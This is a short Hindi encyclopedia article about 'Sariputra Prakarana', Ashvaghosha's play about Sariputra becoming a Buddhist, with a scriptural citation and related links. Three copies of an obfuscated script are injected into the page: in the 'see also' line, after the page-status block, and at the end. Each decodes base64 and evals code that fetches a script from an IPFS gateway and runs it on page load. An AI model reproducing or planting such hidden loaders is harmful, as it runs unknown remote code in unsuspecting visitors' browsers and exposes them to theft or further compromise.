सारिपुत्र प्रकरण

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

सारिपुत्र प्रकरण अश्वघोष द्वारा रचित एक नाटक है, जिसमें सारिपुत्र के बौद्ध मत में दीक्षित होने का विवरण मिलता है।

  • सारिपुत्र राजगृह निवासी था। उसने महात्मा बुद्ध के धर्म और सिद्धांतों को जन-उपकारी मानकर उनके प्रति अपनी आस्था व्यक्त की थी। वह बुद्ध का प्रबुद्ध और प्रज्ञावान शिष्य था। उसके लिए बुद्ध का कहना था- 'मेरे द्वारा संचालित चक्र, अनुपम धर्मचक्र को तथागत का अनुजात सारिपुत्र अनुचालित कर रहा है।'[1]

इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: बौद्ध दर्शन, बौद्ध परिषद, बौद्ध धार्मिक स्थल, बौद्ध संगीति एवं बुद्ध


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. मज्जिम निकाय, 2.5.3

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>